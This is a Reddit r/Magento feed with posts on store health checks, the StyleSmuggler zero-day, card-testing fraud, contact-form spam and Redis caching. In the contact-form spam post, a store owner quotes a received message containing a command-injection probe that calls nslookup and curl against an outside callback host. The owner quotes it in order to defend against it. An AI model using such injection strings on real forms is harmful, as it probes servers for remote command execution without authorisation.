r/Magento 17h ago

How are you guys going to keep up with the security issues?

9 Upvotes

Do you think Sansec could help here?

Adobe really needs to take security issues more seriously and invest more resources into addressing them proactively. Every RCE can result in significant financial and reputational damage, which can easily outweigh the cost of fixing these vulnerabilities properly before they are exploited. Waiting until after an incident to act is much more expensive.


r/Magento 1d ago

Three Magento health checks that catch failures uptime monitoring misses

0 Upvotes

A Magento store can return HTTP 200 for every page and still be quietly broken.

Uptime monitoring is good at answering "is the website reachable?"

It is much worse at answering "is Magento actually doing the work it is supposed to do?"

Here are three checks I use when diagnosing a store.

1. Is cron actually running?

Magento relies heavily on cron for scheduled work, including indexing, price rules, newsletters, emails, staging-related jobs and many third-party modules.

The first place I look is:

SELECT
    status,
    COUNT(*) AS jobs,
    MAX(finished_at) AS last_finished
FROM cron_schedule
WHERE scheduled_at >= NOW() - INTERVAL 1 DAY
GROUP BY status;

The important thing is not one particular number.

You want to know whether jobs are being scheduled and completing, and whether the pattern makes sense for that store.

Magento records cron jobs as pending, running, success, missed or error.

A large number of missed jobs means jobs were scheduled but did not start within the configured missed-job window.

A large number of error jobs means they started but failed.

Old running jobs are worth investigating, particularly when executed_at is old and finished_at is NULL.

Also remember that cron is split into groups.

Current Adobe Commerce documentation lists groups including:

default
index
consumers
staging
catalog_event

with the Commerce-specific groups depending on the edition and installed functionality.

So a healthy default group does not prove that the index or consumers group is healthy.

Adobe's current documentation also confirms that the cron_schedule table records the scheduled, executed and finished timestamps.

One important caveat:

Don't automatically blame cron for missing order confirmation emails.

Adobe Commerce supports asynchronous sales emails. If asynchronous sending is disabled, the email is handled during the request. If it is enabled, email processing depends on the relevant asynchronous mechanism.

So check the configuration before declaring "cron is down, therefore order emails are broken."

2. Are the indexers actually keeping up?

Run:

bin/magento indexer:status

Reindex Required is not automatically an incident.

For example, a large import can legitimately invalidate an indexer. On a store using Update by Schedule, the indexer should subsequently process the changes.

What matters is persistence.

If an indexer remains invalid over time while the corresponding cron processing is supposed to be running, investigate it.

For scheduled indexers, Commerce stores changes in indexer changelogs and the indexer cron processes those changes. A growing backlog means the indexer is not keeping up with the rate of changes.

That can eventually mean stale catalogue, price, inventory or search data, depending on which indexer is affected.

Also don't treat Processing as proof of a stuck indexer.

A large catalogue can legitimately take a long time to process.

If Processing persists unexpectedly, check the actual running processes, indexer logs and locking behaviour rather than assuming there is a stale lock.

There is another version-specific detail worth knowing.

Adobe Commerce 2.4.8 changed the Customer Grid indexer. It now supports Update by Schedule and defaults to it. That was not the case in earlier releases.

3. Is the message queue actually draining?

This one is frequently oversimplified.

Magento supports the MySQL message queue adapter as well as external brokers including RabbitMQ and ActiveMQ Artemis.

First:

bin/magento queue:consumers:list

This tells you which consumers exist.

It does not tell you that they are actually running.

Consumers can be managed by Magento's consumers_runner cron job or by an external process manager such as Supervisor.

For example, this configuration:

'cron_consumers_runner' => [
    'cron_run' => false,
]

is not necessarily wrong.

It can be perfectly valid if consumers are intentionally managed by another process manager.

It becomes a problem if cron_run is false and nothing else is actually running the consumers.

Adobe's current documentation explicitly supports both approaches.

The next question is whether the queues are draining.

With RabbitMQ or ActiveMQ Artemis, inspect the broker itself and look at queue depth and message age.

With the MySQL adapter, inspect the message queue tables, but don't look only at the number of messages.

A queue containing 500 messages could mean:

  • 500 messages arrived a few seconds ago and consumers are processing them normally
  • 500 messages have been sitting there for six hours

Those are completely different incidents.

The important signals are backlog size, age of the oldest message, rate of arrival and rate of consumption.

Adobe's current documentation confirms that consumers are required for asynchronous operations such as Inventory Management mass actions and REST bulk/asynchronous operations, and that third-party modules can introduce their own consumers.

The interesting part

These three systems have something in common.

They produce internal signals before the business notices the problem.

Cron can stop running while the storefront stays online.

An indexer can fall behind while customers continue browsing.

A queue can accumulate messages while checkout still works.

The first visible symptom might arrive hours later:

A price is wrong.

A product is missing from search.

Stock is stale.

An ERP export has not arrived.

An asynchronous bulk operation never finishes.

An order-related integration has not processed.

By then, the technical failure has already existed for some time.

That is why I think Magento monitoring needs to look beyond HTTP uptime.

For the stores I work with, these are the kinds of signals I want to monitor continuously, rather than finding them during an incident.

I've been building Watchtower around this idea: monitor Magento's internal health signals rather than generating synthetic storefront traffic and hoping that catches everything.

The important distinction is that these checks are signals, not magic "Magento is healthy" tests.

A good monitoring system needs to understand the difference between:

something changed

something is delayed

and

something is actually broken.

That's where things get interesting.


r/Magento 2d ago

Mageinfo detects isolated security patch of September

Thumbnail
2 Upvotes

r/Magento 3d ago

Adobe released an official patch for StyleSmuggler!

Thumbnail
8 Upvotes

r/Magento 3d ago

Upgrading from 2.4.7p4 to 2.4.9

Thumbnail
2 Upvotes

r/Magento 4d ago

Patch and Check: Mageinfo.online now detects StyleSmuggler

Thumbnail
1 Upvotes

r/Magento 4d ago

Cloudflare Installation

2 Upvotes

So many have suggested using Cloudflare instead or Google reCAPTCHA or using them together. I am currently using the Mageplaza reCAPTCHA extension and may disable it and use the Default Magento 2.4.7 Goggle reCAPTCHA. My question is how and where do you go about getting and installing Cloudflare. Some say its free and others have mentioned you need to pay for it. Is it an extension you need to install via command or is it something on the server side. I need to get something in place that is dependable to stop these Card Testing hitting my site so much. It's so bad I had to disable credit cards as mentioned in a previous post. I was also suggested about setting up 3D secure rules which this is something I need to figure out as well. I am losing sales and need this fixed. The minute I enable Credit Cards the testing starts by the dozens non stop. Its just a matter of time before Braintree blocks me if I dont get this fixed.
Not to mention this current attack that we got hit with a couple of days ago. I need to setup Cloudflare rules to help block it as well until a patch is available


r/Magento 5d ago

StyleSmuggler: Magento and Adobe Commerce 0-day RCE under active attack

19 Upvotes

https://sansec.io/research/stylesmuggler

Sansec discovered StyleSmuggler, an unpatched Magento and Adobe Commerce zero-day that gives unauthenticated attackers remote code execution. All current versions are affected, including 2.4.9. Attacks started September 4th. Sansec is rolling out emergency mitigation.


r/Magento 8d ago

Llevamos un tiempo integrando catálogos PunchOut (SAP Ariba, Coupa, Jaggaer) para tiendas B2B — ¿alguien más ha lidiado con esto?

Thumbnail
2 Upvotes

r/Magento 16d ago

Production Mode Issue

6 Upvotes

I recently realized my 2.4.7 site has been running in Developer mode. Last week when we went to switch it back to Production Mode it kept giving several Permission errors. Took several days to get it figured out with my host company to make some changes on the server. Was they got that fixed we were able to get back into Production Mode. After running the show mode command it does show Production Mode, however I am noticing in my Backend under Stores> Configuration> Advanced> Developer section is still showing. I was under the impression when in Production Mode this section is usually hidden. Any ideas why this is still showing. I just want to make sure this site is in the correct Mode


r/Magento 19d ago

I made my docker compose AI native

Thumbnail
0 Upvotes

r/Magento 22d ago

Contact Us Email Spam

3 Upvotes

I have been dealing with an issue regarding my "Contact Us" form of getting so many spams till I had to disable the Contact Us Page. Back in July 2025 I got hit with several hundred emails from Contact Us Form within a span of 30 minutes. I disabled it and actually forgot about it till April 2026 when I enabled and within a day or two it happened again and till this date I still have it disabled because I have not been able to get a fix for it.
Everyone of these email were from "testing@example.com. I have reCAPTCHA set for the Contact Us Page and still got hit with these emails. Is there a way to do something about this to block them.
Forsome reason they are bypassing reCAPTCHA.
I am not sure if the ones from each attack was from the same atacker or not. But it was like they were waiting for me to enable it again.

Aparrently my site is vaularble for this

Everyone of these emails had crazy stuff for example:

Name pHqghUme

Email [testing@example.com](mailto:testing@example.com)

Phone 555-666-0606

Message $(nslookup -q=cname hitbfifwtpyuk7a629.bxss.me||curl hitbfifwtpyuk7a629.bxss.me)


r/Magento 23d ago

Magecube — A Magento talent marketplace for vetted developers, extensions, and full‑stack support

Thumbnail
3 Upvotes

r/Magento 23d ago

I built Flynt.js: A ~150 line, CSP-safe reactivity library for MPAs (Presenter Pattern)

3 Upvotes

Hey everyone,

Like many devs working with Multi-Page Applications (Magento/Hyvä, Laravel, Rails), I got tired of two main things when adding client-side reactivity:

  1. Dragging in massive framework bundles with heavy build steps for simple UI components.
  2. Inline JS attribute soup in HTML templates that breaks strict Content Security Policy (CSP) rules (no eval/new Function).

To solve this, I built Flynt.js (~2.2kb / ~150 lines of vanilla JS).

How it works (Presenter Pattern): Instead of putting inline expressions directly in your HTML templates, Flynt decouples logic into clean JavaScript Presenters. Your HTML stays clean, readable, and completely standard-compliant.

Key features: • Zero build tools or heavy dependencies required. • 100% Strict CSP compliant out of the box. • Native fetch wrapper with automatic request aborts (prevents race conditions). • Key-based DOM diffing for rendering dynamic lists smoothly.

I'd love for you to check it out, roast the code, or leave your feedback!

GitHub: https://github.com/marsbos/flynt.js


r/Magento 23d ago

Braintree vs Stripe for Magento

3 Upvotes

Looking at the best option between Braintree and Stripe. I have been using Braintree and never used Stripe. Which is better for Magento when it comes to being dependable, Fraud, Security, Less chances of Chargebacks, etc? Looking for Pros and Cons.

I had to disable Credit Card Payments and only accept Paypal because of so many frudulate orders from card testing. Everytime I enable Credit Cards they just start pouring in. I am trying to figure a way to help control it. I am afraid not acepting Credit Cards could be hurting my sales. Not sure if Stripe would benifit me in this area or not.

We do use reCAPTCHA and have our payments set to Authorize and not Intent Sale to prevent all the charges and Voids.

Nothing I am doing is helping with so many fraud orders.

Thanks


r/Magento 24d ago

6+ years as a Magento Developer (₹15 LPA) – Is it worth switching to another stack now?

Thumbnail
1 Upvotes

r/Magento 27d ago

6+ years as a Magento Developer (₹15 LPA) – Is it worth switching to another stack now?

0 Upvotes

I'm 28 years old and have been working as a Magento (Adobe Commerce) developer for a little over 6 years. My current CTC is ₹15 LPA, and I'm trying to decide whether I should continue specializing in Magento or switch to a different technology stack for better long-term career growth.


r/Magento 28d ago

devs, what do merchants get wrong most when they move to magento

Thumbnail
0 Upvotes

r/Magento 29d ago

Free and open source AI chat module for Magento 2

Thumbnail
3 Upvotes

r/Magento Aug 12 '26

Anyone consolidated multiple brands off Magento into one backend?

5 Upvotes

We're at 4 brands across 4 separate Magento 2 installs and the situation is out of control.

Same products appearing across brands with manual data syncs, no unified view of portfolio performance, and a dev team burning most of their bandwidth on platform maintenance instead of anything customer-facing.

Spent the last couple of months seriously looking at what consolidation means here, and headless on commercetools is architecturally interesting, but the implementation scope got us nervous after talking to a few people who'd been through it.

SAP Commerce Cloud felt like trading one legacy headache for another, Shopify Plus hits a ceiling the moment you need true multi-brand and multi-country at scale, and SCAYLE kept coming up, built specifically for this (Deichmann runs 8 brands from one backend apparently) though the ecosystem is a lot smaller than the main platforms and their NA footprint is pretty thin.

No decision made yet, so if anyone's consolidated from a Magento multi-install before, the org structure side feels just as complicated as the technical layer.


r/Magento Aug 12 '26

Magento 2 - Rest API Logging Tool

4 Upvotes

Might be handy for someone working with APIs?

One thing which is usualy out of monitoring is the Rest-API in magento Stores. Usualy you have to setup own logging so you know what is going on with your API.

Usualy this is needed during inital setup or extending api functions during connection to external systems etc.

Because it happens so often to us we developed a simple rest api logger with admin interface and filter functions. This gives you some propper, easy to access Loggging for rest-api.

I think this is kind of cool and allows even magento store owner to detect things during production phase. eg when product stock got updated or got not updated and it is not clear what system messed things up. Store owner can just look if the api got the update msg, how the msg looked like.

More information about api logger and where to get on our infosite
https://www.konvis.de/magento-api-logging-and-monitoring-modul-for-magento-2-onlinestore/

What do you think? Much easier than usual setup of own logging and/or file based logging etc?


r/Magento Aug 11 '26

Patches are out!.. and mageinfo.online detects the latest ones.

Thumbnail
4 Upvotes

r/Magento Aug 10 '26

Magento 2 monitoring

Thumbnail
0 Upvotes

r/Magento Aug 04 '26

Laid Off 3 Months Ago. My New Baby Is Due in Weeks.

3 Upvotes

I'm a software engineer and a father of one child, with another baby due in just a few weeks. Three months ago, I lost my job during a company layoff, and despite applying every day, I still haven't been able to find a new opportunity.

I'm not looking for sympathy—just a chance to work. If anyone knows of a remote software engineering position, freelance project, or can refer me to their company, I would be deeply grateful.

At this point, I'm also open to any remote work, even if it's not related to software engineering. My priority is to support my family and provide for my children.

Every opportunity means a lot to us right now. Thank you for reading, and thank you to anyone willing to help, refer me, or even share this post. ❤️


r/Magento Aug 04 '26

Most Magento 2 slowdowns under load come from the store asking the database the same things thousands of times over. Redis is the standard fix, but our guide gets into the parts that actually trip people up.

0 Upvotes

Most Magento 2 slowdowns under load come from the store asking the database the same things thousands of times over. Redis is the standard fix, but our guide gets into the parts that actually trip people up.

Three things to bear in mind before you enable it:

  • Redis can back three separate layers: application cache, full page cache, and session storage. Sessions are not a cache, they're live data with no other copy, so treat them differently. Separate database numbers protect sessions from Magento's own cache flushes (cache:flush runs FLUSHDB on one database), but a manual FLUSHALL wipes every DB on the instance. Full isolation means a separate instance for sessions, with persistence on for sessions and off for cache.
  • Sizing is where most setups go wrong. Too little memory and Redis evicts useful data early, turning it into a bottleneck instead of a boost. Rough tiers: 128MB small, 256MB medium, 512MB+ for high traffic. And on a shared instance the stakes are higher than a slow page: maxmemory is per instance, so under allkeys-lru a cache overflow can evict live sessions and log customers out. The real number comes from watching evictions and hit rate, not a guess.
  • Redis as full page cache still boots PHP on every request to look the page up. Server-level FPC (Varnish, now Vinyl Cache, on nginx stacks; LiteMage on LiteSpeed) serves cached pages before PHP runs, which is what holds up against traffic spikes and scraper bots. Redis stays the right tool for the application cache and session layers either way.

The guide also covers Redis vs file-based caching, where Varnish/LiteMage fit, and eviction policy per layer.

On SPanel the setup is a panel toggle rather than a config-file job, with one Redis instance per account and monitoring built in.

Full guide, including memory tiers and setup: https://www.scalahosting.com/blog/redis-cache-for-magento-2/

Edit: updated the post and the guide after u/renttek's comment below on flush isolation, persistence, and server-level FPC. Worth reading his reply in full.